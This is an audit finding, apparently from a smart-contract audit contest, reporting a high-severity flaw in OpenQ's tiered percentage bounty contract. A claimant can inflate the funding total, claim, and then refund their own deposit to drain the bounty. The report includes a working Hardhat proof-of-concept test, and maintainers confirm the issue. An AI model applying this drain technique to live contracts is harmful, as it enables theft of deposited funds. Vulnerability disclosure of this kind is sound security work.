CodeFoxInc - Refund during claiming process can cause malfunction

[github-actions]

CodeFoxInc

high

Refund during claiming process can cause malfunction

Summary

The fundingTotals are calculated at the time of the first claim, so if a depositRefund occurs after that, there will be insufficient funds for claiming. It means people who should get the bounty cannot get it. The protocol breaks.

In the worst case scenario, all of the original funds can be removed without the permission of the claimants.

Vulnerability Detail

There are several scenarios in this situation. And I would like to explain them.

Normal case

The function claimTiered in TieredPercentageBountyV1 is called for each Tier, but the value of fundingTotals used in its calculation is save as a fixed value at the first claim. Therefore, if a deposit refund is made after the first claim, subsequent users will not receive the appropriate amount of rewards and suffer.

Advanced case

With permissionedClaimTieredBounty(), the timing of claiming is arbitrary to the user, so it is considered possible to claim first. Also, if you use the overflow attack, which I have in #5, you can be sure to be the first to claim, even if you are in a lower position tier.
Furthermore, if a large amount of token is funded just before the first claim, the first person to make a claim can take advantage of the calculation and take away all of the funds that were originally deposited. He can get this part of deposit which is not supposed to belong to him.

The worst-case scenario story goes like this(please check with the attacking script):

1. Suppose this kind of situation:
   1. The reward an attacker can get is 10% of the total and he is at the bottom of the tier.
   2. 1000 token is deposited by the bounty issuer.
   3. The attacker is supposed to get 100 token in this case.
2. The attacker called the fundBountyToken function to deposit 9,000 token. And he sets the expiration to be 1. (The total amount becomes 10,000)
3. After a short while, he makes a claim of 1000 token(10% of the total amount) through claimBounty function. He managed to get 10 times of the reward he deserved to get.
4. Then he calls the depositRefund function to refund all the token he had deposited, which is 9,000 token.

As a result of this:

1. The attacker managed to take over all of the assets existing in the bounty which is not supposed to be belong to him.
2. The original funds 1000 token was totally drained by the attacker.
3. He also got back the deposit he had made which is 9,000 token.
4. The attacker lose nothing and stole all of the token inside the bounty.

Impact

Funds deposited in the bounty can be taken over by attacker. Also, other tier winners may not receive the rewards they deserved.

Attacking script

To regenerate the attack, please put this test script into the test file ClaimManager.test.js after this line of code.

        it('attack', async () => {
          await openQProxy.mintBounty(
            Constants.bountyId,
            Constants.organization,
            tieredPercentageBountyInitOperation_permissionless
          );
          const bountyAddress = await openQProxy.bountyIdToAddress(Constants.bountyId);
          await mockLink.approve(bountyAddress, 10000000);
          await mockLink.connect(claimantThirdPlace).approve(bountyAddress, 10000000);
          await mockLink.transfer(claimantThirdPlace.address, 9000);
          // first funding
          await depositManager.fundBountyToken(bountyAddress, mockLink.address, 1000, 1, Constants.funderUuid);
          expect((await mockLink.balanceOf(bountyAddress)).toString()).to.equal('1000');
          // malicious funding
          const attackDepositId = generateDepositId(Constants.bountyId, 1);
          await depositManager
            .connect(claimantThirdPlace)
            .fundBountyToken(bountyAddress, mockLink.address, 9000, 1, attackDepositId);
          ethers.provider.send('evm_increaseTime', [1]);
          expect((await mockLink.balanceOf(bountyAddress)).toString()).to.equal('10000');
          expect((await mockLink.balanceOf(claimantThirdPlace.address)).toString()).to.equal('0');
          // first claim 1000
          await claimManager
            .connect(oracle)
            .claimBounty(bountyAddress, claimantThirdPlace.address, abiEncodedTieredCloserDataThirdPlace);
          // refund 9000
          await depositManager.connect(claimantThirdPlace).refundDeposit(bountyAddress, attackDepositId);
          // assert 9000 + 1000 = 10000
          expect((await mockLink.balanceOf(claimantThirdPlace.address)).toString()).to.equal('10000');
          // fail
          await expect(
            claimManager
              .connect(oracle)
              .claimBounty(bountyAddress, claimant.address, abiEncodedTieredCloserDataFirstPlace)
          ).to.be.reverted;
          await expect(
            claimManager
              .connect(oracle)
              .claimBounty(bountyAddress, claimantSecondPlace.address, abiEncodedTieredCloserDataSecondPlace)
          ).to.be.reverted;
        });

Code Snippet

These require statements are not sufficient.
BountyCore.sol#L64-L74

    function refundDeposit(
        bytes32 _depositId,
        address _funder,
        uint256 _volume
    ) external virtual onlyDepositManager nonReentrant {
        require(!refunded[_depositId], Errors.DEPOSIT_ALREADY_REFUNDED);
        require(funder[_depositId] == _funder, Errors.CALLER_NOT_FUNDER);
        require(
            block.timestamp >= depositTime[_depositId] + expiration[_depositId],
            Errors.PREMATURE_REFUND_REQUEST
        );

Tool used

Manual Review

Recommendation

We recommend that the expiration of the deposit be set fixed to give enough period of time for the tier winner to make a claim.

Alternatively, after close competition, it is possible to set up a flag that prevents refunds for a certain period of time.

Duplicate of #266

[FlacoJones]

Valid. Will remove TieredPercentageBountyV1 for now.

[FlacoJones]

OpenQDev/OpenQ-Contracts#112

[IAm0x52]

Dupe of #266